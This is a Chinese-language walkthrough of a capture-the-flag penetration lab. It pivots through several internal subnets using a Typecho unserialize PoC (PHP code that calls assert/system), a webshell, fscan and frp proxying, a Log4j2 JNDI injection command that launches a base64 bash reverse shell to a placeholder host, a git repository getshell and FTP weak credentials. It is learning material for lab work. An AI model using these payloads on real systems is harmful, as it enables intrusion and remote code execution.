前言
这道题目最耽误时间的就是内网穿透的时候各种掉线,难受的一批,所以建议做题的人最少准备两台vps,要不然实在是浪费金币
渗透过程
flag1
访问网站,发现是typecho搭建的网站
这个洞在我前面的awd中也是讲解过的,存在反序列的漏洞,这里就直接附上poc
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::RSS2;
#$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = 'system("ls")'; //此处修改需要执行的代码
$this->_filter[0] = 'assert'; // 这里也可以使用system
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
首先查看当前目录的文件
其次全局搜索flag文件
发现flag在根目录下
查看flag,得到flag1
flag2
这里我是选择上传了一个webshell,使用的base64写入,直接写入的话,特殊字符的转义有点问题
尝试访问webshell
连接webshell
这里有一个config.inc.php,里面记录了数据库的用户名和密码,使用该用户名和密码连接数据库,得到第二个flag
flag3、flag4、flag5
到了这里也没有什么提示,我们查看网卡信息
发现192.168.0.x这个网段,使用fscan(amd64这个版本)来扫描该网段
发现了192.168.0.3有一个后台管理系统,这里使用frp进行代理,并访问该网站
这个登录界面看着比较熟悉,记得以前在bugku复现log4j2的时候,和这个界面是差不多的,尝试利用该漏洞
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64加密的bash反弹shell的命令}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"
使用nc监听,获取到shell,并在根目录下发现flag
使用find命令全局查看flag文件
这里提交完成后,发现没有flag3,于是翻了翻文件,在根目录下有个start.sh,查看文件内容
发现提示flag3在这个js文件中,查看该js文件
flag6
到了这里依然没有提示,那就继续查看网络信息,发现192.168.1.x地址段
继续使用fscan(amd64版本)的扫描该网段信息
发现192.168.1.3有一个git仓库,并且有一个默认的仓库
我们直接访问一下这个仓库,得到flag
flag7
这里确实是学到的新知识,第一次利用git仓库getshell,这里直接附上大佬仓库的链接,可以直接访问,这里是可以解析phtml的
在根目录下得到flag
flag8、flag9
随后翻了翻文件,没发现什么用的,并且这道题目有提示,user:guest,虽然也不知道啥意思,但是我们还是先查看网络信息
发现了10.10.0.x网段,使用fscan(386版本)扫描,发现10.10.0.3这个地址只开放了21端口,其他的web站都是咱们之前访问过的,那么也就是说,突破口可能是在21端口上
接着使用frp做代理,但是这里由于过了好多层,代理总是断断续续的,所以直接使用kali,访问
这里还卡了一下,我一直以为用户名是guest,密码是空的,结果试了半天,发现用户名和密码是一样,人麻了,登录成功后,在当前目录下获得了flag,并且还提示了根目录
最后,在根目录下获取到了最后一个flag
总结
首先还是vps准备的不足,第一天做到最后,frp服务起的乱七八糟的,而且还因为使用国内的vps做代理。git仓库那里一直访问不成功,最后用了一个非国内的,才成功,不过确实通过靶场学到很多。happy endding!